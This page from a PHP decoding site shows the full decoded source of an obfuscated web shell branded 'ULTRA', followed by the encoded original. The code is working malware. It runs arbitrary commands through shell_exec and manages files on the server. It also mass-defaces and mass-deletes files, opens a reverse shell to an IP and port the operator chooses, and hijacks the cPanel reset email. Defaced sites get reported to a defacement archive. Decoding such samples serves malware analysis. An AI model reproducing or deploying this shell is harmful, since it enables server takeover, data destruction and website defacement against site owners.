Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?= @null; $ULTRA = "eJwBVh6p4QFRHq7h7T1rd9s2st97Tv8DwnpDaWPqYbttKltK4qzttJt1Yudx6zg+OiQLk..
Decoded Output download
None
@session_start();
@error_reporting(0);
@error_log(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors', 0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
function flash($message, $status, $class, $redirect = false) {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["class"])) {
unset($_SESSION["class"]);
}
if (!empty($_SESSION["status"])) {
unset($_SESSION["status"]);
}
$_SESSION["message"] = $message;
$_SESSION["class"] = $class;
$_SESSION["status"] = $status;
if ($redirect) {
header('Location: ' . $redirect);
exit();
}
return true;
}
function clear() {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["class"])) {
unset($_SESSION["class"]);
}
if (!empty($_SESSION["status"])) {
unset($_SESSION["status"]);
}
return true;
}
function writable($path, $perms){
return (!is_writable($path)) ? "<font color=\"red\">".$perms."</font>" : "<font color=\"lime\">".$perms."</font>";
}
function perms($path) {
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
}
elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
}
elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
}
elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
}
elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
}
elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
}
elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
}
else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fsize($file) {
$a = ["B", "KB", "MB", "GB", "TB", "PB"];
$pos = 0;
$size = filesize($file);
while ($size >= 1024) {
$size /= 1024;
$pos++;
}
return round($size, 2)." ".$a[$pos];
}
if (isset($_GET['dir'])) {
$path = $_GET['dir'];
chdir($_GET['dir']);
} else {
$path = getcwd();
}
$path = str_replace('\', '/', $path);
$exdir = explode('/', $path);
function getOwner($item) {
if (function_exists("posix_getpwuid")) {
$downer = @posix_getpwuid(fileowner($item));
$downer = $downer['name'];
} else {
$downer = fileowner($item);
}
if (function_exists("posix_getgrgid")) {
$dgrp = @posix_getgrgid(filegroup($item));
$dgrp = $dgrp['name'];
} else {
$dgrp = filegroup($item);
}
return $downer . '/' . $dgrp;
}
// CMD
function cmd($command) {
global $path;
if (strpos($command, 'resetcp') !== false) {
$email = explode(' ', $command);
if (!$email[1] || !filter_var($email[1], FILTER_VALIDATE_EMAIL)) {
return "You must specified valid email address. resetcp [email protected]";
}
$pathcp = explode("/", $path);
$text = "---
\"email\":'$email[1]'";
$file = join('/', [$pathcp[0], $pathcp[1], $pathcp[2]]);
$file = $file . '/.cpanel/';
if (file_exists($file . 'contactinfo')) {
unlink($file . 'contactinfo');
}
file_put_contents($file . 'reset', $text);
if (file_exists($file . 'reset')) {
rename($file . 'reset', $file . 'contactinfo');
return "Email for reset cpanel changed to '$email[1]'";
}
return "Failed to change reset cp email!";
} elseif (function_exists('shell_exec')) {
return shell_exec($command.' 2>&1');
} else {
return "Disable Function";
}
}
function which($p) {
$path = cmd('which ' . $p);
if (!empty($path)) {
return strlen($path);
}
return false;
}
function formatSize($bytes) {
$types = array( 'B', 'KB', 'MB', 'GB', 'TB' );
for ( $i = 0; $bytes >= 1024 && $i < ( count( $types ) - 1 ); $bytes /= 1024, $i++ );
return(round( $bytes, 2 )." ".$types[$i] );
}
// Mass Deface
function massdef($dir, $file, $content) {
if (is_writable($dir)) {
$dira = scandir($dir);
foreach ($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$file;
if ($dirb === '.') {
file_put_contents($lokasi, $content);
} elseif ($dirb === '..') {
file_put_contents($lokasi, $content);
} else {
if (is_dir($dirc)) {
if (is_writable($dirc)) {
echo "$dirb/$file
";
file_put_contents($lokasi, $content);
}
}
}
}
}
}
// Mass Delete
function massdel($dir, $file) {
if (is_writable($dir)) {
$dira = scandir($dir);
foreach ($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$file;
if ($dirb === '.') {
if (file_exists("$dir/$file")) {
unlink("$dir/$file");
}
} elseif ($dirb === '..') {
if (file_exists(''.dirname($dir)."/$file")) {
unlink(''.dirname($dir)."/$file");
}
} else {
if (is_dir($dirc)) {
if (is_writable($dirc)) {
if ($lokasi) {
echo "$lokasi > Deleted
";
unlink($lokasi);
$massdel = massdel($dirc, $file);
}
}
}
}
}
}
}
// Back Conncect
function back($ip, $port){
echo "<center>";
echo "<p>BackConnect by ULTRA</p>";
echo '<button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>';
echo "</center>";
$sockfd = fsockopen($_POST['ip'], $_POST['port'], $errno, $errstr );
if($errno != 0){
echo "<font color='red'>$errno : $errstr</font>";
} else if (!$sockfd) {
$result = "<p>Unexpected error has occured, connection may have failed.</p>";
} else {
@fputs ($sockfd ," _ _ _ _ _
/ \ / \ / \ / \ / \ Back
( U | L | T | R | A ) Connect
\_/ \_/ \_/ \_/ \_/
");
$dir = @shell_exec("pwd");
$sysinfo = @shell_exec("uname -a");
$time = @shell_exec("time");
$len = 1337;
fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "
");
while(!feof($sockfd)){
$cmdPrompt = '[ULTRA]:~$ ';
@fputs ($sockfd , $cmdPrompt );
$command= @fgets($sockfd, $len);
@fputs($sockfd , "
" . @shell_exec($command) . "
");
}
@fclose($sockfd);
}
}
// Archive
function archive($nickname, $team='', $weblist){
$weblists = explode("
", $weblist);
function hax0r($nick, $team, $url) {
$ch = curl_init("https://haxor.id/notify/single");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['defacer' => $nick, 'team' => $team, 'vulntype' => 1, 'reason' => 1, 'webtarget' => $url, 'submit' => 'Notify']);
return curl_exec($ch);
curl_close($ch);
}
foreach($weblists as $url){
$archive = hax0r($nickname, $team, $url);
if(preg_match("<div class='alert alert-success' role='alert'>", $archive)) {
echo "$url -> <font color=lime>OK</font><br>";
} else {
echo "$url -> <font color=red>ERROR</font><br>";
}
}
echo "<br>Defacer : <a href='https://haxor.id/archive/attacker/$nickname' target='_blank'>https://haxor.id/archive/attacker/$nickname</a><br>";
}
if (isset($_POST['newFolderName'])) {
if (mkdir($path . '/' . $_POST['newFolderName'])) {
flash("Create Folder Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Create Folder Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
flash("Create File Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Create File Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
if ($_POST['newName'] == '') {
flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if (rename($path. '/'. $_GET['item'], $_POST['newName'])) {
flash("Rename Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Rename Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
if (file_put_contents($path. '/'. $_GET['item'], $_POST['newContent'])) {
flash("Edit Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Edit Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
if ($_POST['newPerm'] == '') {
flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
flash("Change Permission Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Change Permission", "Failed", "error", "?dir=$path");
}
}
if (isset($_GET['action'])) {
$action = $_GET['action'];
if ($action == 'delete' && isset($_GET['item'])) {
function removedir($dir){
if(!rmdir($dir)){
$file = scandir($dir);
foreach ($file as $files) {
if(is_file($dir."/".$files)){
if(unlink($dir."/".$files)){
rmdir($dir);
}
}
if(is_dir($dir."/".$files)){
rmdir($dir."/".$files);
rmdir($dir);
}
}
}
}
if (is_dir($_GET['item'])) {
if (removedir($_GET['item'])) {
flash("Delete Folder Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Delete Folder Successfully!", "Success", "success", "?dir=$path");
}
} else {
if (unlink($_GET['item'])) {
flash("Delete File Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Delete File Failed", "Failed", "error", "?dir=$path");
}
}
}
}
if (isset($_GET['action']) && $_GET['action'] == 'download') {
@ob_clean();
$file = $_GET['item'];
if (!is_readable($file)) {
flash("Download File Failed", "Failed", "error", "?dir=$path");
die();
}
header('Content-Description: File Transfer');
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
if (isset($_FILES['uploadfile'])) {
$total = count($_FILES['uploadfile']['name']);
for ($i = 0; $i < $total; $i++) {
$mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
}
if ($total < 2) {
if ($mainupload) {
flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
} else {
flash("Upload Failed", "Failed", "error", "?dir=$path");
}
}
else{
if ($mainupload) {
flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
} else {
flash("Upload Failed", "Failed", "error", "?dir=$path");
}
}
}
$dirs = scandir($path);
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains){
$dom = "Cant read [ /etc/named.conf ]";
$GLOBALS["need_to_update_header"] = "true";
}else{
$count = 0;
foreach ($d0mains as $d0main){
if (@strstr($d0main, "zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
$dom = "$count Domain";
}
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$uip = $_SERVER['REMOTE_ADDR'];
$serv = $_SERVER['HTTP_HOST'];
$soft = $_SERVER['SERVER_SOFTWARE'];
$cmd_uname = cmd("uname -a");
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : 'Uname Error!');
?>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous" />
<title>ULTRA [ <?= $serv; ?> ]</title>
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono" rel="stylesheet">
<style type="text/css">
* {
font-family: Ubuntu Mono;
}
a {
text-decoration: none;
color: white;
}
a:hover {
color: white;
}
/* width */
::-webkit-scrollbar {
width: 7px;
height: 7px;
}
/* Handle */
::-webkit-scrollbar-thumb {
background: grey;
border-radius: 7px;
}
/* Track */
::-webkit-scrollbar-track {
box-shadow: inset 0 0 7px grey;
border-radius: 7px;
}
.td-break {
word-break: break-all
}
</style>
</head>
<body class="bg-dark text-light">
<div class="container-fluid">
<div class="py-3" id="main">
<div class="p-4 rounded-3">
<table class="table table-borderless text-light">
<tr>
<td><i class="fa fa-server"></i> <?= $uname; ?></td>
</tr>
<tr>
<td><i class="fa fa-microchip"></i> <?= $soft; ?></td>
</tr>
<tr>
<td><i class="fa fa-satellite-dish"></i> <?= $ip; ?> | Your IP: <?= $uip; ?></td>
</tr>
<tr>
<td><i class="fa fa-fingerprint"></i> <?= $dom; ?></td>
</tr>
<tr>
<td><i class="fas fa-cog"></i> [ <?php echo writable($path, perms($path)) ?> ]</td>
</tr>
<tr>
<td>
<i class="fa fa fa-folder pt-1"></i> 
<?php foreach ($exdir as $id => $pat) : if ($pat == '' && $id == 0): ?>
<a href="?dir=/" class="text-decoration-none text-light">/</a>
<?php endif; if ($pat == '') continue; ?>
<a href="?dir=<?php for ($i = 0; $i <= $id; $i++) { echo "$exdir[$i]"; if ($i != $id) echo "/"; } ?>" class="text-decoration-none text-light"><?= $pat ?></a>
<span class="text-light"> /</span>
<?php endforeach; ?>
</td>
</tr>
</table>
<form action="" method="post" class="row g-2 p-2">
<div class="col-auto">
<input type="text" class="form-control form-control-sm" name="bdcmd" placeholder="whoami">
</div>
<div class="col-auto">
<button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
</div>
</form>
<div id="tool">
<center>
<hr width='20%'>
</center>
<div class="d-flex justify-content-center flex-wrap my-3">
<a href="?" class="m-1 btn btn-outline-light btn-sm"><i class="fa fa-home"></i> Home</a>
<a class="m-1 btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#upload" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-upload"></i> Upload</a>
<a class="m-1 btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#massDef" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-layer-group"></i> Mass Deface</a>
<a class="m-1 btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#massDel" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-eraser"></i> Mass Delete</a>
<a class="m-1 btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#backConnect" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-network-wired"></i> Back Connect</a>
<a class="m-1 btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#zoneH" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-cloud"></i> Notify</a>
</div>
<center>
<hr width='20%'>
</center>
<div class="container" id="tool">
<div class="row">
<div class="col-md-12">
<div class="collapse" id="upload" data-bs-parent="#tool">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post" enctype="multipart/form-data">
<div class="mb-3">
<label class="form-label">File Uploader</label>
<div class="input-group">
<input type="file" class="form-control" name="uploadfile[]" id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload" multiple>
<button class="btn btn-outline-light" type="submit" id="inputGroupFileAddon04">Upload</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-12">
<div class="collapse" id="newFileCollapse" data-bs-parent="#tool">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">File Name</label>
<input type="text" class="form-control" name="newFileName" placeholder="test.php">
</div>
<div class="mb-3">
<label class="form-label">File Content</label>
<textarea class="form-control" rows="7" name="newFileContent" placeholder="Hello-World"></textarea>
</div>
<button type="submit" class="btn btn-outline-light">Create</button>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-12">
<div class="collapse" id="newFolderCollapse" data-bs-parent="#tool">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">Folder Name</label>
<input type="text" class="form-control" name="newFolderName" placeholder="home">
</div>
<button type="submit" class="btn btn-outline-light">Create</button>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-12">
<div class="collapse" id="massDef" data-bs-parent="#tool">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">Directory</label>
<input type="text" class="form-control" name="massDefDir" value="<?= $path ?>">
</div>
<div class="mb-3">
<label class="form-label">File Name</label>
<input type="text" class="form-control" name="massDefName" placeholder="test.php">
</div>
<div class="mb-3">
<label class="form-label">File Content</label>
<textarea class="form-control" name="massDefContent" rows="7" placeholder="Hello World"></textarea>
</div>
<button class="btn btn-outline-light" type="submit">Submit</button>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-12">
<div class="collapse" id="massDel" data-bs-parent="#tool">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">Directory</label>
<input type="text" class="form-control" name="massDel" value="<?= $path ?>">
</div>
<div class="mb-3">
<label class="form-label">File Name</label>
<input type="text" class="form-control" name="massDelName" placeholder="test.php">
</div>
<button class="btn btn-outline-light" type="submit">Submit</button>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-12">
<div class="collapse" id="backConnect" data-bs-parent="#tool">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">Ip</label>
<input type="text" class="form-control" name="ip" placeholder="127.0.0.0" required>
</div>
<div class="mb-3">
<label class="form-label">Port</label>
<input type="text" class="form-control" name="port" placeholder="1337" required>
</div>
<button class="btn btn-outline-light" type="submit">Submit</button>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-12">
<div class="collapse" id="zoneH" data-bs-parent="#tool">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">Nickname</label>
<input type="text" class="form-control" name="nick" placeholder="well barudak" required>
</div>
<div class="mb-3">
<label class="form-label">Team</label>
<input type="text" class="form-control" name="team" placeholder="well barudak">
</div>
<div class="mb-3">
<label class="form-label">Website</label>
<textarea class="form-control" name="weblist" rows="7" placeholder="Hello World"></textarea>
</div>
<button class="btn btn-outline-light" type="submit">Submit</button>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container">
<!-- menu start -->
<?php if (isset($_POST['bdcmd'])) : ?>
<div class="p-2">
<div class="row justify-content-center">
<div class="card text-dark mb-3">
<pre><?php echo $ip."@".$serv.": ~$ "; echo $cmd = $_POST['bdcmd']; $cmd."<br>"; ?><br><code><?php echo cmd($cmd); ?></code></pre>
</div>
</div>
</div>
<?php endif; ?>
<!-- mass deface -->
<?php if (isset($_POST['massDefDir']) && isset($_POST['massDefName']) && isset($_POST['massDefContent'])) : ?>
<div class="p-2">
<div class="row justify-content-center">
<div class="card text-dark col-md-5 mb-3">
<pre>Done ~~<br><br><?= massdef($_POST['massDefDir'], $_POST['massDefName'], $_POST['massDefContent']) ?></pre>
</div>
</div>
</div>
<?php endif; ?>
<!-- mass delete -->
<?php if (isset($_POST['massDel']) && isset($_POST['massDelName'])) : ?>
<div class="p-2">
<div class="row justify-content-center">
<div class="card text-dark col-md-5 mb-3">
<pre>Done ~~<br><br><?= massdel($_POST['massDel'], $_POST['massDelName']) ?></pre>
</div>
</div>
</div>
<?php endif; ?>
<!-- back connect -->
<?php if (isset($_POST['ip']) && isset($_POST['port'])) : ?>
<div class="p-2">
<div class="row justify-content-center">
<div class="col-md-5">
<?= back($_POST['ip'], $_POST['port']) ?>
</div>
</div>
</div>
<?php endif; ?>
<!-- archive -->
<?php if (isset($_POST['nick']) && isset($_POST['team']) && isset($_POST['weblist'])) : ?>
<div class="p-2">
<div class="row justify-content-center">
<div class="col-md-5">
<?php archive($_POST['nick'], $_POST['team'], $_POST['weblist']) ?>
</div>
</div>
</div>
<?php endif; ?>
<!-- downloads -->
<?php if (isset($_GET['action']) && $_GET['action'] != 'download') : $action = $_GET['action'] ?>
<?php endif; ?>
<!-- action menu -->
<?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
<div class="col-md-12">
<div class="row justify-content-center">
<div class="col-md-5">
<?php if ($action == 'rename' && isset($_GET['item'])) : ?>
<form action="" method="post">
<div class="mb-3">
<label for="name" class="form-label">New Name</label>
<input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
</div>
<button type="submit" class="btn btn-outline-light">Submit</button>
<button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
</form>
<?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
<form action="" method="post">
<div class="mb-3">
<label for="name" class="form-label"><?= $_GET['item'] ?></label>
<textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= htmlspecialchars(file_get_contents($path. '/'. $_GET['item'])) ?></textarea>
</div>
<button type="submit" class="btn btn-outline-light">Submit</button>
<button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
<button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
</form>
<?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
<form action="" method="post">
<div class="mb-3">
<label for="name" class="form-label"><?= $_GET['item'] ?></label>
<input type="text" class="form-control" name="newPerm" value="<?= substr(sprintf('%o', fileperms($_GET['item'])), -4); ?>">
</div>
<button type="submit" class="btn btn-outline-light">Submit</button>
<button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
</form>
<?php endif; ?>
</div>
</div>
</div>
<?php endif; ?>
</div>
<div class="table-responsive">
<table class="table table-hover table-dark align-middle text-light">
<thead class="align-middle">
<tr>
<td style="width:35%">Name</td>
<td style="width:10%">Type</td>
<td style="width:10%">Size</td>
<td style="width:13%">Owner/Group</td>
<td style="width:10%">Permission</td>
<td style="width:13%">Last Modified</td>
<td style="width:9%">Actions</td>
</tr>
</thead>
<tbody class="text-nowrap">
<?php
foreach ($dirs as $dir) :
if (!is_dir($dir)) continue;
?>
<tr>
<td>
<?php if ($dir === '..') : ?>
<a href="?dir=<?= dirname($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
<?php elseif ($dir === '.') : ?>
<a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
<?php else : ?>
<a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
<?php endif; ?>
</td>
<td class="text-light"><?= filetype($dir) ?></td>
<td class="text-light">-</td>
<td class="text-light"><?= getOwner($dir) ?></td>
<td class="text-light">
<?php
echo '<a href="?dir='.$path.'&item='.$dir.'&action=chmod">';
if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
echo '</a>';
?>
</td>
<td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
<td>
<?php if ($dir != '.' && $dir != '..') : ?>
<div class="btn-group">
<a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-edit"></i></a>
<a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-trash"></i></a>
</div>
<?php elseif ($dir === '.') : ?>
<div class="btn-group">
<a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="New Folder"><i class="fa fa-folder-plus"></i></a>
<a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="New File"><i class="fa fa-file-plus"></i></a>
</div>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
<?php
foreach ($dirs as $dir) :
if (!is_file($dir)) continue;
?>
<tr>
<td>
<a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
</td>
<td class="text-light"><?= (function_exists('mime_content_type') ? mime_content_type($dir) : filetype($dir)) ?></td>
<td class="text-light"><?= fsize($dir) ?></td>
<td class="text-light"><?= getOwner($dir) ?></td>
<td class="text-light">
<?php
echo '<a href="?dir='.$path.'&item='.$dir.'&action=chmod">';
if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
echo '</a>';
?>
</td>
<td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
<td>
<?php if ($dir != '.' && $dir != '..') : ?>
<div class="btn-group">
<a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Edit"><i class="fa fa-file-edit"></i></a>
<a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-edit"></i></a>
<a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=download" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Download"><i class="fa fa-file-download"></i></a>
<a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-trash"></i></a>
</div>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<center><div class="text-light my-1">© ULTRA</div></center>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js"></script>
<script>
<?php if (isset($_SESSION['message'])) : ?>
Swal.fire(
'<?= $_SESSION['status'] ?>',
'<?= $_SESSION['message'] ?>',
'<?= $_SESSION['class'] ?>'
)
<?php endif; clear(); ?>
function deleteConfirm(url) {
event.preventDefault()
Swal.fire({
title: 'Are you sure?',
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#3085d6',
cancelButtonColor: '#d33',
confirmButtonText: 'Yes, delete it!'
}).then((result) => {
if (result.isConfirmed) {
window.location.href = url
}
})
}
function jscopy() {
var jsCopy = document.getElementById("CopyFromTextArea");
jsCopy.focus();
jsCopy.select();
document.execCommand("copy");
}
</script>
</body>
</html>
Did this file decode correctly?
Original Code
<?= @null; $ULTRA = "eJwBVh6p4QFRHq7h7T1rd9s2st97Tv8DwnpDaWPqYbttKltK4qzttJt1Yudx6zg+OiQLkpZdioQkxuQ2/e13BgApviRR8iPZ1syJJZGDeWEwmAFA4Ntvvv3mqcUsKzD0vmW71K7VtwncY5QatE+ZaVA70Me1Vvp2aPAb8DvQg77F7JqaPFDXn704ORHQyVO43+cQlrreyj3zA8sM3cvkOclhjtyLPrtgnmMjj3YQMY4jDWI4tunY/aEzGjEK3EqAb78ZObqHxcgodK1JbS0CSd0xWydrIKvtWPDFgyf4SZkfUObZpEtGbmixOvnvt98QuIIRqT1gkWlf1tb6+8f7++93n50qEpNyVk8A8XJ0ZKgUbltAfZ6HlTOzEGcMVQWjkHMhygQsi7NMEFBQrMftApRkDWH41yJETAlBxPftKf9JLWS4nTDXZ7Smnhiei7XZISppTGss5hkvdhGgBWeEoMx2qE5s6iDDnzN24YXMpbX7ul6gpgENbHcYstqa6doTaC0mo5FV/2+mZO1BYPWzkMDJE6LsjAzdJp4RGrT7UYFq+6j0lIbA0VB2mvi4p5BOHjKEtl4KWuCPP5ckY9lFIWzOQcjSACl7q0mgh6R18brVatVJt5t8Temw2ST7hnfF7OmttUAfGYBdtdRYj0R8MvAeeeSHU+SHZcgvo6ERBh45CfSrEhphFRqPpzQel9DYY2MndGkJdq0K9h+m2H8owf4qBP0Qy2Re4IYlNIZVaGxNaWyV0Djizd2glyX4/Sr4N6b4N0rwv5641PVsRufI4VWh057SaZfQefP+zS4xA5OV4DfL8OfKv9CvdGOgl5R21GmbFl8AfHegM1ntArDRzbLbaiOPT4hKVWiEYA5xE5kB3noswAcVwbcQXIBknzyWdC2O6EIlddKZB7cfExS9u5TvLTUccz4HG8vJ115OvtbjGfJtVZRvq0w+BEtk/MWgob+Ai62lZGxtLCdje4aMG5J3e4GMMdxBsQ5l/8FJF1z7yAp+h94EnfjUtbtg7KfKK2WdKL/yvx/437f87wH/+/yVchbLZBrYD7Tin4hR9gsp5PLpYAI/IBLhQL0uabc2tjINWDxpiiep0AOpPHpU2qeCgeq+QLlONuoNhUCf5p5iibNYYPQhgSW66rfHB6cQF1M11ZXzvguDptRTScybwK9sMcSacR1x8TGzvYHPQyRONr5v2TzaD12P1dSPHyEMV5vqOkl6zDV2AZgBkF2YoeEDU